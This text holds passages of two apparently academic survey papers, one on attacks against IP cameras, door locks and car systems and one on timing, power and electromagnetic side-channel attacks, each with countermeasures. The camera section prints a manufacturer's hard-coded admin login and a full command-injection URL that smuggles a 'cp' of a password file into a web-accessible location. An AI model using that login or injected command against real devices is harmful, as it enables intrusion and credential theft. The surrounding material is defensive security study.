IP cameras can exploited by using hard-coded credentials or 

hidden user accounts used by the manufacturers. Based on the 

research done by  Nahuel Riva, Francisco Falcon from the Core 

Security Technologies, for TP-Link IP cameras based on firmware 

v1.6.18P12 and below, an administrator account with 

 username=” manufacture” and  password = “erutcafunam” was 

present on every device which was used during factory testing. 

This account can be used to access wireless_mft.cgi CGI binary 

which is vulnearble to OS command injection attack. By injecting 

the command (http://ip-cam-addr/cgi-

bin/mft/wireless_mft?ap=travesti; 
cp%20/var/www/secret.passwd%20/web/html/credentials)to copy 

the user credentials which were stored in the web server root 

directory to an accessible location. Then the user credentials can 

be accessed via request to http://ip-cam-addr/credentials.[5] 
 

 

Many of the IP cameras are vulnerable to Cross-site request 

forgery (CSRF) attacks. Based on the CVE-2013-3539, a 

vulnerability in the command/user.cgi plug-in of Sony network 

cameras could allow an unauthenticated, remote attacker to 

conduct CSRF attacks. The exploit was done by convincing an 

authenticated user to follow a malicious URL, which could allow 

the attacker to submit malformed HTTP POST request to the 

device with the authenticated user’s privileges.[6] 

3.1.3 Compromising security of the network 
Since most of the IP cameras run a version of Linux OS, they are 

Linux boxes on the Internet. Therefore if the security of an IP 

camera  is compromised, the attackers can run arbitrary software 

such as malware, botnets, proxies and scanners on it with it being 

connected to the intranet, thus exposing other devices on the 

intranet to the attack as well. For instance, the attacker who has 

gained full access to the ip camera can poison the device’s Web 

interface to load a remotely hosted piece of JavaScript code thus 

compromising the user’s browser when he visits the interface. 

3.1.4 Countermeasures 
All of the IP cameras run Operating systems and small server 

programs and therefore, are susceptible to attacks and 

vulnerabilities. Therefore, it is important to update the latest 

patches from manufactures which remedies most known flaws and 

vulnerabilities in the system. However, there is no 100% 

prevention from the attacks. So, the IP cameras should be isolated 

from the rest of the home network. It is also essential to apply 
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strict Firewall and Intrusion Protection System (IPS) rules. The 

setup should be done by professionals to correctly utilize the 

device’s security features. For the manufacturers, most of the 

attacks can be prevented by careful input sanitization and by 

following least privilege principle. 

3.2 Door Lock Systems 

3.2.1 Using RFID 

Door Lock Systems have become popular in many places such as 

home, offices, and banks. Digital Lock Systems are implemented 

using Radio Frequency Identification (RFID) technology. 

 According to HomeLand Security, RFID is the technology which 

uses radio waves to identify objects.[7] Typical RFID system 

consists of RFID tag (transponder), reader (transceiver) and back-

end application system (database). These systems use RFID reader 

to authenticate users and open the doors automatically if the 

authenticity is successful. Management, controlling, transaction, 

operation and maintaining record of the various users are done by 

software. The check-in and check-out of the users are recorded in 

the database. With the help of RFID, the company can keep the 

door lock system users would feel secure as it could be opened 

only when the tag holder is authenticated. 

 

 

Figure: Door Lock System 

3.2.1.1 Security Requirement in RFID 

The fact that RFID can be detected from a quite far distance 

makes it vulnerable to attack. An attacker can apply replay attack 

to get access to the door lock system. He can intercept the 

communication between the reader and a tag to capture a 

legitimate RFID signal. When the reader sends a query, the 

recorded signal is replayed into the system. It will be accepted by 

the system since the data appears valid to the system. 

Moreover, one can do tag cloning attack where a malicious 

attacker can capture the valid tag information by using a 

compliant reader (with correct tag family and frequency) just by 

simply staying at the proximity location where the signal could 

reach. Nothing stops attacker from doing this since there is no 

action taken by the user to initiate a transmission of the 

identification sequence with a passive tag. After that, he can 

create an authorized copy of the captured sample on a new chip 

and get access to the door lock system.[8] 

When such cases happen, attacker can get access into the secured 

place (for example, control room of a company) and he can do 

malicious things like putting virus into the company's system or 

run his software to be able to control the company's system from 

his own computer. This can give a nightmare to the victim. 

 

 

Figure: How RFID works 

3.2.1.2 Countermeasures for RFID tag data attack 

To prevent replay attack, one can use challenge and response 

mechanism with nonce. Furthermore, time-based and counter-

based mechanisms are useful countermeasures for replay attack as 

well. According to Tuyls & Batina (2006), tag cloning attack can 

be prevented by using Physical Unclonable Functions (PUFs) as 

secure memory for the storing of the secret key on an RFID. [9] 

The source of the two above attacks is mainly due to the fact that 

RFIDs are indiscriminate. Password protection on tag memory 

could prevent the tag data from eavesdropping. Passwords can be 

used to prevent reading the tag data without the owner's 

permission. There is a drawback for this approach as well. Since 

there will be a password for each tag, there will be millions of 

passwords that need to be stored in the database requiring more 

memory space.  

3.2.2 Alternative technology for door lock system 

(Unikey’s Kevo door lock technology) 

As seen above, the door system using smart cards or RFID is not 

efficient as they are vulnerable to attack. Unikey came out with 

the idea of whole lock replacement Kevo system. It just looks like 

a normal deadbolt that we have ever seen. But, Unikey does not 

rely on Bluetooth’s security protocol ,which is prone to attacks, 

but instead it makes use of the public -key infrastructure system to 

authenticate users. Every communication between the phone and 

lock is a unique transaction. So, even if one is able to sniff a key, 

he would not able to perform replay attack.[10] “There are more 

possible combinations to our lock than there are hydrogen 

particles in the observable universe” said UniKey President Phil 

Dumas. 

The lock operates via IPhone application, or a fob for people 

without smart phones. When the mobile application or fob are 

nearby (i.e you have access to the door system) and you touch the 

lock, it is unlocked. The device just need to be within the specific 

range that you had set.One may wonder nearby strangers would 

have access if being too close to the lock inside the house.  Kevo 

systems sit on both sides of the door, so it knows which side of 

the door the owner is on and essentially eliminating any false 

locks.[11] This one sounds secure and convenient for users but its 

vulnerabilities are already proved by some of the 
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hackers.

 

3.2.3 Countermeasures 

All the door lock systems could not still give 100 percentage 

security for the users. Better security could gain by using two 

factor authentication in the door lock system. For example, 

instead of just using RFID smart cards to open the door lock 

system, combination of RFID and biometric could help reduce 

vulnerability of the system. Data encryption and digital signature 

could as well prevent replay attacks, spoofing on the door lock 

system. 

3.3 Car Systems 
The more complex system usually tends to have more problems. 

Some classic car enthusiasts claim that old cars are much safer 

than modern cars due to the simplicity in their engines' designs. 

Nowadays, most cars have plenty of so-called "embedded 

systems", which are controlling every specific aspects of car's 

functioning, ranging from air bag and power seating systems to 

cruise controls and anti-lock braking 

system.

 

Figure: Various Embedded systems in a vehicle 

Robert Hills says that the only way to access a car's computer was 

through the use of a manufacturer's diagnostic or reprogramming 

equipment, thus making it difficult to introduce virus to the 

control of the car system in the past.[12] But, nowadays, the 

vulnerability of attacking grows as car computers become more 

connected to the outside world. More gadgets would lead more 

prone to attack. The additional entertainment and communications 

devices such as USB ports and MP3 adapters, introduce more 

channels for viruses to enter the car system. There is a few 

technology systems to stop a malicious attacker to stop from 

taking command of a vehicle. Thus, after gaining access, he could 

control everything from which song to play on the radio to 

disabling the brake system. 

In 2010, the researchers working with Center for Automotive 

Embedded Systems Security (CAESS) had demonstrated how one 

can take over all of a car's systems just by plugging device into the 

OBD-II port under the dashboard. In 2011, those same researchers 

took control of a vehicle through its telematics system. They also 

demonstrated that it is possible to hack a car with marlware 

embedded in an MP3 by transmitting the code over a Wi-Fi 

connection. The reason why such attacks are possible is because 

all the embedded systems on modern vehicles, which are working 

independent of each other, are all connected through an in-car 

communications network known as controller-area-network bus 

(CAN bus).  One may claim that vital systems such as the brakes 

and steering are separated part of the network which is not 

directly connected to less secure systems. But, unfortunately, the 

two networks are entwined that the entire car system could be 

hacked if a single component is vulnerable.[13] It can be seen that 

an increase in number of embedded system could introduce more 

attacks. Failure of "Simple Design principle" could be found in 

this case. 

Another demonstration over vulnerability of the car system was 

made by researchers from Rutgers University and the University 

of South Carolina. They hacked into a car's computer system by 

commandeering the wireless tire-pressure monitoring signal of the 

targeted vehicle. The hacking is done by taking advantage of the 

sensors inside each tire, which broadcast a radio signal every 60-

90 seconds to one of the car's embedded systems telling the 

pressure on them. However, researchers found out that even those 

weak signals could be sniffed from the nearby car/location which 

is around 120 feet away. Then, they showed the vulnerability of 

the car system by sending false low-air pressure warnings to the 

car dashboard warning, which means they gained access to the 

control of the car's embedded system.[14] Researchers from the 

Washington-San Diego, also demonstrated the ability to 

maliciously control the car’s functions while completing ignore 

the driver input, just by using their homemade hacking software 

called “CarShark”.[15] It can clearly be seen that the car systems 

have been designed with ineffective security measurements. The 

manufactures should have good encryption on those embedded 

systems, yet still lacking in the automobile 

industry.

 

Figure: Researcher demonstrating controlling of the vehicle’s 

system 

Recently, the two security researchers Javier Vazquez Vidal and 

Alberto Garcia Illera had showcased their gadget, which they 

claimed can hack any car, to encourage car makers to make future 

vehicles more secure. It is called the CAN Hacking Tool (CHT) 

 and it can be fitted to any car's control area network 'within 

minutes' and run malicious code through the car's system. Lights, 

locks, steering and brakes could be controlled by a hacker once he 
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manages to hold of the network. 

 

Figure: Electronic layout of a typical car and the features controlled 

by the CAN are shown along the black lines including lights, climate, 

seats, heating and locks 

It makes use of the fact - many cars come with built-in software 

that runs on an operating system. Four wires of the tool are 

connected to the different output of the a vehicle's controller 

network. Then, with the help of a computer chip, any encryption 

on the car is bypassed before reading or writing data from the 

flash memory of the vehicle's engine control unit. Hackers can 

now control the car system via CHT, and it ranges from enabling 

the alarm and locking the door to disabling the brakes and 

deploying the airbag as shown in the figure. The security 

requirements of the car system should be fulfilled without any 

lack since it could claim for the people lives while the rest of the 

systems would deal with at most the wealth of a victim.[16] 

From the above demonstrations done by different scientists, it is 

obvious that the security of the car embedded systems are still 

inefficient. The manufacturers of car embedded systems should 

design the vehicle with greatest security facilities before 

technologies emerge and hacker would be able to attack the 

system. While reinforcing to take security requirements into an 

account, it would be more effective if the authorized person makes 

it necessary for a vehicle’s system to pass through different 

hacking tests before introducing to the public. 

4. CONCLUSION 

In this paper, we have discussed about how embedded systems 

play an important roles in daily life, yet the security demands are 

still high. During past few years, embedded systems are operated 

as standalone and transfer less data through the Internet. But in 

modernized days where embedded systems started using different 

protocols to get the data from back-end databases, the chance of 

being attack as well as vulnerabilities has increased. This in turn 

could lead into privacy intrusions and in worst cases, physical 

assaults and accidents (e.g. failure of Door Lock System or 

Mobile Systems). These examples and researches all lead into one 

thing which is a stricter security measurements for embedded 

systems and should they use communication mediums such as 

Internet or Intranet, the data should be encrypted to prevent 

unwanted access from sniffers and cyber criminals. In conclusion, 

standardization of encryption methods , input sanitizing and 

implementation of safe design principles should be encouraged 

and enforced to bring outsecure and safe embedded systems. 
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ABSTRACT
Cryptosystems have been designed to be secure against the-
oretical attacks. However, this particular notion of security
is insufficient in practice. Attackers can also make use of
indirect attacks to break a crytosystem. Actual cryptosys-
tems have a physical implementation that may leak useful
information through side channels to an adversary. In this
paper, we focus on four side-channel attacks: Timing, power,
electromagnetic and acoustic. We also consider some ways
in which the attacks have been improved and the general
countermeasures against these attacks.

Categories and Subject Descriptors
D.0 [Software]: General; E.3 [Data]: Data encryption

General Terms
Security

Keywords
Side-channel attack, indirect attack, timing attack, power
attack, electromagnetic attack, acoustic attack

1. INTRODUCTION
While traditional cryptanalysis aims to explore ways to break
a cryptosystem based on theory, side-channel attacks at-
tempt to break a cryptosystem using information obtained
from the software or hardware implementation of a cryp-
tosystem.

Side-channel attacks are a type of physical attack where an
adversary makes use of physical information leakages from
a cryptographic device. They are so named as this extra
information is leaked through a channel apart from the ones
that were intended for communication [5]. Cryptographic
hardware devices such as encryption devices and smart cards
often leak information in the form of timing information [16],

power consumption [18], electromagnetic radiation [12] and
even emitted sounds [13].

In this paper, we will look into each of the side-channel at-
tacks that can be mounted based on the different types of
information that is leaked. For each attack, we will provide
a brief overview of the attack, an example of the attack that
was carried out, as well as a short discussion, including some
countermeasures that can help to defend against the attacks.

2. BACKGROUND
They are many types of physical attacks. Two common
ways in which physical attacks are classified are invasive
as opposed to non-invasive, and active as opposed to pas-
sive [27]. The side-channel attacks discussed in this paper
fall into the category of non-invasive and passive physical
attacks. They are non-invasive in that they utilize informa-
tion that is available externally, without any manipulation
of the device. Furthermore, they are considered passive at-
tacks as the device is also not tampered with. This makes
it very difficult to detect an attack. In addition, they can
be carried out quickly. In some cases, the tools required
for these attacks are relatively inexpensive, costing only a
few hundred dollars. They can also be easily obtained, or
is something that most already possess, such as a mobile
phone [13]. This is a cause for concern as it means that
anyone with sufficient knowledge will be able to launch an
attack, and side-channel attacks do pose a threat to the se-
curity of many cryptographic hardware devices.

Many of the early ideas and papers on side-channel attacks
were due to Paul Kocher’s contributions [16, 18]. Accord-
ing to Kocher, the main reason some of these attacks went
undiscovered for some time was because cryptographers were
mostly concerned with the theoretical, and few were involved
with the building of actual devices [19]. Side-channel attacks
have been used to break a wide range of block cipers (includ-
ing DES and AES), stream ciphers, and public-key ciphers
(including those based on RSA) [33]. In practice, the the-
oretical notion of security is often insufficient to guarantee
security. It is important to study these side-channel attacks
as a different approach that may offer new insight about the
security of a system.

Naturally, knowing how “good” a particular implementation
for a system then becomes important. Micali and Reyzin
first proposed a framework in [20], providing a general model
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for defining cryptographic security. However, their assump-
tions were deemed too strong for the model to be useful in
practice — they assumed the strongest possible adversary.
It is not common for an adversary to have extensive knowl-
edge of the device [29]. This motivated the work in [29].
Later, a framework to compare cryptographic implementa-
tions with respect to side-channel key-recovery attacks was
also proposed [28]. According the authors, the creation of
this framework was motivated by the need of “a middle-ware
between the abstract models and the concrete devices” to
compare implementations. In most general analyses of side-
channel attacks, implementations are compared in the con-
text of a particular adversary only. This is hardly sufficient
as in practice, there may be various strategies undertaken
by an adversary. Therefore, frameworks such as these help
in determining superior and more secure implementations of
a system, especially in the context of side-channel attacks.

3. TIMING ATTACKS
By recording the amount of time an encryption device takes
to perform operations on the private key, it is possible to
learn information about the data and the key. Intuitively,
it may seem that only a small amount of information can
be gleaned from such a method, but there are particular
attacks that can retrieve the entire secret key from a vulner-
able system. The amount of time taken by a cryptographic
device to perform the operation varies based on the input.
This difference may arise as a result of performance opti-
mizations, such as those that avoid unnecessary operations
or make use of the memory cache [16].

The first basic assumption about such an attack is that the
time taken for a particular operation is dependent on the
key. Another assumption is that there are a reasonable num-
ber of encryptions being done using the same key, which
makes challenge-response protocols ideal for timing attacks.
A third assumption is that the amount of time taken can
be measured with known error [33]. Of course, when the
error is smaller, fewer time measurements are required for
the attack.

Timing attacks were first described by Kocher [16]. The par-
ticular attack he devised can be used to discover the secret
key used in RSA encryption. Following the RSA scheme, the
private key operation involves computing R = yx mod n.
An attacker would try to discover the exponent x, which
is also the secret key. It can be seen as a signal detection
problem, where the “signal” is timing variations caused by
the target exponent bit, and “noise” is the timing variations
caused by unknown exponent bits and inaccurate measure-
ments.

3.0.1 Cache-Based Timing Attacks
A timing attack that makes use of the memory cache is also
known as a cache-based attack. However, not all cache-based
attacks are timing attacks, as there are also trace-driven and
access-driven attacks [15]. A cached-based timing attack has
been successfully carried out by Bernstein, where a com-
plete AES key was extracted from known-plaintext timings
[7]. This attack will be described in more detail in the next
section.

3.1 Cache-Timing Attack on AES

The cache-timing attack in this section was described by
Bernstein in [7].

There is a variable-index array lookup near the beginning if
the AES computation. The time taken for the array lookup
depends on the index of the array. Consequently, the time
taken for the entire AES computation is dependant on the
time taken for the array lookup.

Measuring the timing information yields information about
the value of the index of the array. In particular, the index
of the array is actually two values that are XORed together:
k[i]⊕n[i]. It is possible for an attacker to determine the exact
value of k[i], the ith byte of the key, from a distribution of
AES timings as a function of n[i].

The attacker monitors the time taken to process many n’s,
sums up the total AES times for each possible n[j], and finds
that overall AES time is maximum when n[j] = x. Then,
by the means of testing with known keys k on a computer
with the same CPU and running the same AES software, he
can also find that the overall AES time is maximum when
k[j] ⊕ n[j] = y. Then, he can conclude that k[j] = x⊕ y.

3.2 Discussion
Timing attacks are a serious threat. Much earlier, Dhem et
al. have demonstrated just how serious the threat of a timing
attack was by introducing a practical implementation with
some improvements over Kocher’s original ideas [11]. They
presented an efficient way to attack an RSA computation on
a smart card. Based on their attack model, an attacker needs
very little knowledge about the system’s implementation,
making the attack easy to carry out.

It is not just smart cards that are vulnerable to timing at-
tacks, which are generally thought of as weak computing
devices. Brumley and Boneh demonstrated that a timing
attack can be mountes against network servers. They de-
vised a timing attack against OpenSSL, where private keys
were extracted from an OpenSLL-based web server [10].

It may initially appear that the success of the cache-timing
attack was due to some form of poor implementation of AES,
since side-channel attacks have much to do with the physi-
cal implementation. Unfortunately, the implementation was
not the main issue in this case. According to Bernstein, the
problem was that it is a challenge to write constant-time
and high-speed AES software for the average CPU, and con-
sequently the S-box table lookups did not take constant time
[7]. This is not a problem for low-speed AES implementa-
tions. More recent work on this area has made the attack
possible even without information about the ciphertext [15],
which is able to recover AES keys after observing as little
as 100 encryptions.

The big question, perhaps, is how did the National Institute
of Standards and Technonology (NIST) not realize that such
a timing attack could be carried out, and ended up choos-
ing Rijndael to make the Advanced Encryption Standard?
As it turns out, NIST had been aware of timing attacks
and the threat that they pose. The problem was that they
incorrectly thought that the table lookups took a constant
amount of time, and thus incorrectly concluded that the ta-

192



ble lookup was not vulnerable to such timing attacks [7]. A
lesson to learn from this is to be careful of the assumptions
that we make. When the assumptions are wrong, it can
lead to unintended consequences, which may in turn lead to
undesirable situations. It is particularly undesirable in the
realm of security where attackers will make use of any loop-
hole that they can find to break a system. Sometimes, it is
a good idea to constantly challenge the assumptions that we
make to ensure that they are indeed valid.

3.2.1 Countermeasures
The straightforward solution to this problem is to make all
operations run in the same amount of time. Although it
sounds easy, it is difficult in practice because unexpected
factors such as compiler optimizations and RAM cache hits
among others can lead to timing variations.

Blinding, also known as noise injection, is a technique sug-
gested by Kocher as a countermeasure when he first intro-
duced timing attacks [16]. The idea is to prevent attackers
from discovering the input to the modular exponentiation
function. A random pair vi, vf such that v−1

f = vxi mod n is

chosen, and the input message multiplied with vi( mod n).
Afterwards, the correct result is obtained by multiplying
with vf ( mod n). As long as the random pair is secret, at-
tackers will not gain any useful information about the input
to the module exponentiator. The attacker would only be
able to discover the general timing distribution. However,
blinding does not provably prevent timing attacks, since a
maliciously-designed exponentiator could in theory have a
distribution with sharp spikes that indicate the exponent
bits. Another downside to blinding is that it adds addi-
tional overhead due to the extra operations that need to be
carried out.

Another approach that is based on a different idea is branch
equilization. Essentially, branch processing should be re-
moved so that the time taken is equivalent independent of
the input [33].

4. POWER ANALYSIS ATTACKS
The key idea behind power analysis attacks is to discover
the key of a cryptographic device by monitoring its power
consumption [19]. Cryptographic devices today are gener-
ally constructed with transistors, based on semiconductor
logic. The movement of electrons when charge is applied
or removed from the transistor’s gate consumes power [18].
The power consumption of the device is dependent on the
the data it processes and the operation that it performs.
Therefore, analyzing the power consumption allows an at-
tacker to learn information about the calculations that are
being done by the cryptographic device.

Analysis is done by interpreting power traces, which are es-
sentially measurements of the power consumption of the de-
vice over a period of time. A definition of a trace given in
[17] is “a sequence of measurements taken across a crypto-
graphic operation or sequence of operations”.

A circuit’s power consumption can be measured with the
use of a resistor. The resistor can be placed in series with
the device’s ground line. An oscilloscope can then used to
measure the voltage at the ground input. A higher reading

Figure 1: A sample SPA trace from [27] showing 10
rounds of AES Encryption.

would correspond to higher power consumption. It is also
possible to put the resister in series with the power input,
but in this case a lower reading corresponds to higher power
consumption [17].

In the following two subsections, the two main classes power
analysis attacks will be described in further detail: Simple
Power Analysis and Differential Power Analysis. However,
there also exist other variants of power analysis attacks, such
as Correlation Power Analysis (CPA) [9] and Mutual Infor-
mation Analysis (MIA) [14].

4.0.2 Simple Power Analysis (SPA)
In Simple Power Analysis (SPA), an attacker focuses on in-
specting the power consumption of a device visually [18]. He
would try to derive the key directly from a given trace by
observing it along the time axis and trying to find a pattern
[19]. SPA can be used to identify the operations that the
device is performing, or more specifically, the sequence of in-
structions being carried out by the device. In general, SPA
attacks make use of a very small number of traces. In some
cases, only one trace is used. In such a scenario, the SPA
attack is referred to as a single-shot SPA attack, as opposed
to a multiple-shot SPA attack [19].

In Figure 1 is an example of a SPA trace, obtained by moni-
toring a smart card perform AES-128 encryption. The large-
scale power variations are easily observable. There is a clear
pattern of an operation being repeated 10 times, which in
this case is the 10 rounds of AES encryption.

This particular piece information by itself does not consti-
tute an attack since it is no secret that AES-128 has 10
rounds, but can be a first step for the attacker in what may
be a more powerful attack. In general, this sort of informa-
tion is useful in situations where the instruction flow depends
on the data, and only with certain input data does a particu-
lar sequence of operations gets carried out. Essentially, this
means that programs that make use of a conditional branch
that relies on secret values are vulnerable to SPA attacks.

4.0.3 Differential Power Analysis (DPA)
Differential Power Analysis (DPA) is a statistical method for
identifying changes in power due to the the difference in data
being processed [17]. Instead of analyzing the trace along the
time axis, how the power consumption at fixed moments in
time changes based on the input data is observed [19]. The
variations in power that DPA analyzes are different from the
large-scale power variations observed in SPA, which arise out
of different operations. These variations due to difference in
the data are considerably smaller, and can be easily missed
due to noise [18]. However, DPA tries to find the key by
using a large quantity of power traces. Given enough traces,
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it becomes possible to discover correlations in the data even
if there was initially a lot of noise in the measurements.

There is a general attack strategy used in all DPA attacks
that consists of the following 5 steps [19]:

Step 1: Choose an Intermediate Result of the Ex-
ecuted Algorithm. The intermediate result to be chosen
needs to be a function of a small part of the key k and d, a
known non-constant value, typically the plaintext or cipher-
text.

Step 2: Measure the Power Consumption. The power
consumption of the device should be measured as it en-
crypts or decrypts D data blocks. For each encryption or
decryption run i, the attacker should know the correspond-
ing di used in the intermediate result in Step 1. The val-
ues obtained from the runs are written as a vector d =
(d1, . . . , dD)′. A power trace is recorded each run, and the
trace corresponding to data block di is denoted as t′i =
(ti,1, . . . , ti,T ). By measuring a trace for all D data blocks,
the traces can be written as a D × T matrix T.

Step 3: Calculate Hypothetical Intermediate Val-
ues. A hypothetical intermediate value has to be calcu-
lated for each possible k. This is also written as a vector
k = (k1, . . . , dK)′, where K is the number of possible choices
of k. Each ki is called a key hypothesis in the context of
DPA. Obtaining all hypothetical intermediate values can be
done with d (from Step 2) and k, which yields a D×K ma-
trix V. The jth column in V will contain all intermediate
results calculated using key hypothesis kj . By finding the
corresponding column of V that has been processed during
the D encryption or decryption rounds, it is possible to find
the key used by the device.

Step 4: Map Hypothetical Intermediate Values to
Power Consumption Values. Each of the hypothetical
intermediate values vi,j in V have to mapped to a matrix
of hypothetical power consumption values hi,j in H using a
simulation technique such as the Hamming-Distance Model
or the Hamming-Weight Model. This step strongly affects
the effectiveness of the attack: A simulation that better
matches that actual power consumption will result in a more
effective attack.

Step 5: Compare Hypothetical Power Consumption
Values with the Power Trace. In the final step, each col-
umn hi of matrix H is compared with each column in matrix
T using an appropriate algorithm. In essence, a comparison
is made between the hypothetical power consumption val-
ues of every key hypothesis and the recorded power traces
at every position. The result is another matrix, R, that is of
size K×T , and ri,j contains the result of comparing column
hi and tj. A higher value of ri,j indicates a better match
between the two columns. By looking for the highest value
in R, the attacker can find the index s of the key used, and
hence deduce the secret key ks.

The values of matrix R may be approximately the same
value when there are insufficient traces to estimate the rela-
tionship between columns of matrices H and T. Therefore,
the more power traces measured by an attacker, the easier

Figure 2: Five differential traces from [17]. The
spikes in the third trace indicate that its correspond-
ing candidate key is the correct one.

it is to determine the relationships between columns H and
T and hence the key.

4.1 DPA Attack on Smart Card performing
AES-128

This particular attack from [17] demonstrates how a DPA
attack can be carried out on AES-128 encryption. As dis-
cussed in the previous section, intermediate values are used
in the attack. For this specific example, the intermediate
values used are the output of the AddRoundKey and Sub-
Bytes steps of AES.

The nth byte of the 16-byte intermediate state of the AES
cipher right after the SubBytes step can be written as Ii,n =
S[Xi,n ⊕Kn for a particular trace i. K represents the first
round key and Kn its nth byte. Xi,n denotes the nth byte
of the plaintext Xi used in the trace i. Xi,n is a known vari-
able, but Kn is a secret constant, making Ii,n an unknown
variable, but it can be found if Kn can be deduced.

The key can be discovered efficiently if there is an easy way
to check whether a given candidate for the secret constant
Kn is correct. DPA provides a way to check if Kn is correct.
Kn is an 8-bit value. Therefore, it would take at most 256
tries to confirm the correct value for Kn. To find all 16 Kn

bytes of the secret key, each byte is solved separately.

Using a candidate value of Kn, if there is any correlation be-
tween the predicted S-box output bit and the power traces,
the DPA test will show large spikes that indicate Kn is cor-
rect. An example can be seen in Figure 2, where the incor-
rect values have smaller spikes. To recover the entire key in
AES-128, this is done for all 16 bytes of the key.

4.2 Discussion
DPA is much more powerful than SPA because an attacker
does not need to have detailed information about the en-
cryption device. DPA can succeed where SPA will fail. It
is also possible to derive the key even when a lot of noise is
present in the traces, as long as there are enough traces. As
a result, DPA is not only a more popular power attack than
SPA, it also turns out to be the most popular type of power
analysis attack [19].
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4.2.1 Countermeasures
In his original paper [18] that introduced power analysis at-
tacks, Kocher suggested some countermeasures against them.
In the case of SPA, he suggested that secret intermediate
values and keys should not be used for conditional branch-
ing operations. In the case of DPA, there were three gen-
eral methods: reducing signal sizes, introducing noise, and
taking into consideration the hardware in the design of a
cryptosystem. The first two methods make it harder for an
attacker to succeed as he would require more traces. The
third method can help remove some the dependencies in
data.

A general principle to abide by is to change the key used in
the device frequently, or to make use of session keys. This
reduces the window of opportunity for the attacker as he
would only be able to obtain a smaller number of power
traces. With fewer power traces, it becomes much harder
to discover the secret key. However, it may not be always
feasible to change the key frequently. As such, other coun-
termeasures have also been suggested.

Countermeasures against power attacks that have been pub-
lished to date generally fall into one of two categories: hiding
or masking.

Hiding is one of the countermeasures against power analy-
sis attacks. To do so, the power consumption of the device
must be made independent of the operations performed and
the intermediate values. However, the intermediate values
are not changed. One approach is to construct devices such
that the power consumption is random. The second is to
construct devices such that the power consumption is con-
stant for all values [19]. Unfortunately, it is not possible in
practice to make the power consumption completely random
or constant and remove all data dependency, but there are
some proposed methods to at least reduce the dependency.

Masking randomizes the intermediate values processed by
the device, with the same purpose of making the power
consumption independent of the intermediate values. The
power needed to process these randomized intermediate val-
ues is independent of the actual values. As a result, even
the power consumption characteristics of the device does not
need to be hidden. In each execution, the device will gener-
ate a random value for the mask internally to hide an inter-
mediate value, creating a masked intermediate value. The
operation used to apply the mask to the intermediate value
is usually either the exclusive-or function (⊕), modular ad-
dition (+), or modular multiplication (×). Most commonly,
the mask is applied directly to the key or the plaintext [19].

5. ELECTROMAGNETIC ATTACKS
In Section 4, it was mentioned that cryptographic devices
are built with transistors inside, and the movement of elec-
trons consumes power. Apart from consuming power, this
movement also gives out electromagnetic (or EM) radiation.
This opens the possibility to another side-channel attack
based on monitoring the EM emanations.

In the 19th century, discoveries by Oersted, Faraday and
Henry showed that changing electrical currents induce chang-
ing magnetic fields and magnetic fields, in turn induce chang-

ing currents. All electronic components therefore gener-
ate electromagnetic pulses that radiate as invisible electro-
magnetic waves through the surrounding space. Hence, an
antenna with an amplifier could intercept and reconstruct
these electrical signals from a remote location. Not surpris-
ingly, bugging devices which are placed nearby could pick
up the signals more clearly than remote equipment.

In recent history, the earliest recorded discovery of such
“compromising emanations” as a security vulnerability was
during World War II. This was revealed in the US National
Security Agency’s 1972 paper TEMPEST: A Signal Problem
[1], which was declassified in 2007. In Peter Wright’s book
Spycatcher [31], it describes how in 1960, the British MI5
was able to pick up faint signals from the French cipher ma-
chines and reconstructed these signal to obtain in plain text
the cipher which they had failed to break previously. These
and other independent researches, such as those by Kocher
et al. [18] has shown that electromagnetic emanations could
be exploited to retrieve the plain text of a ciphered message
without having to break the strong crytographic algorithm.

Such attacks are passive as they are usually used to steal
information but do not affect system resources. They are
also not easily detectable as the sniffing devices need not be
connected or installed on the system.

5.1 Attacks Using EM Radiation
In 2001, Gandolfi et al. explores Electromagnetic Analysis
(EMA) [12] on three different CMOS chips of cipher devices
executing different encryption algorithm, namely that of
DES, COMP128 and RSA. Software countermeasures were
turned off and known keys were used. In all three instances,
the secret key could be obtained using EMA.

D. Agrawal et al. [2] conducted several systematic experi-
ments of electromagnetic emanations from two different smart
cards for the different types of emanations. For example, in
the first experiment, a small metal plate fixed to a coaxial
cable was used as a near field probe placed near the chip
of the smart card to measure the direct emanations from it.
From these experiments, it was found that most compromis-
ing emanations are detected in low energy signals.

Sauvage et al. [23] documented an experiment to show that
Correlation-based on Electromagnetic Analysis (CEMA) could
be carried out from 50cm away. This is done on a Field
Programmable Gate Array (FPGA) with one AES Rijn-
dael supporting 128-bit keys. The Pearson correlation factor
ρ(W,H) is used, where W represents the measurement and
H the Hamming distance.

A total of 51,519 measurements were made before it could
break the substitution box compared to 1,000 when the dis-
tance is 0cm. While the results of the experiment indicate
that the Hamming distance model is not optimal at 50cm, it
showed that simply using low cost equipment and collecting
one signal at a time could break the cryptographic device
albeit rather inefficiently.

5.2 Discussion
As electromagnetic emanations is derived from changing elec-
trical currents, it is considered similar to power analysis.
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Discussions of the analysis methods for Electromagnetic Anal-
ysis are often compared to that of Power Analysis, such as
Differential Power Analysis (DPA) and Differential Electro-
magnetic Analysis (DEMA).

As noted above, electromagnetic emanations occur when
changing electrical currents flow within the circuit of the
cryptographic devices. This is known as direct emanation as
it originates from intentional current flow along the physical
medium, such as the wire or cable that is carrying the se-
cret data. To intercept direct emanation signals, the probes
must be located in close proximity to the cryptographic de-
vice, which may be a challenge given that physical access to
such devices is often under tight security.

On the other hand, unintentional emanations occurs from
the coupling or the transfer of electrical energy from one
circuit segment to another or from a data signal to a com-
munication circuit. Any peripheral which is connected to
the device, such as a modem cable may act as an antenna to
propagate these unintentional signals over open spaces. A
weak signal may thus modulate a strong carrier signal which
can be intercepted easily from a remote location. Further,
as processors become faster, these devices are radiating sig-
nals whose base frequencies are well within the range of mi-
crowave radiation (300 MHz to 300 GHz), which are able to
penetrate barriers, such as concrete buildings.

While the examples above showed that low cost equipment
has been able to intercept some commonly used crypto-
graphic devices, it is noted that these experiments were con-
ducted by researchers with adequate understanding of the
subject and familiar with the analysis, tools and techniques.

5.2.1 Countermeasures
The countermeasures against EM attacks can fall into two
broad categories that were identified by Agrawal et al. [2].
Gandolfi et al. [12] gave four strategies in the original paper
for mitigating EM attacks in their paper that fit into these
two broad categories.

The first broad category is signal strength reduction. The
first strategy proposed was to contain the radiation. This
can be done by insulating and grounding every cord and ca-
ble to block direct emanations. For unintended emanations,
cryptographic devices could be shielded using a metallic con-
ductive material or kept in an enclosure known as a Faraday
cage. The second is to reduce the radiation. A way to do
this would be to make sure of smaller and more compact
transistors.

The second category of countermeasures is signal informa-
tion reduction. Blurring the radiation is one way to achieve
signal information reduction. Additional noise would be gen-
erated through other random currents; making random and
frequent key refreshes in the data computation to thwart at-
tacks using statistical analysis; and using the Clipper chip
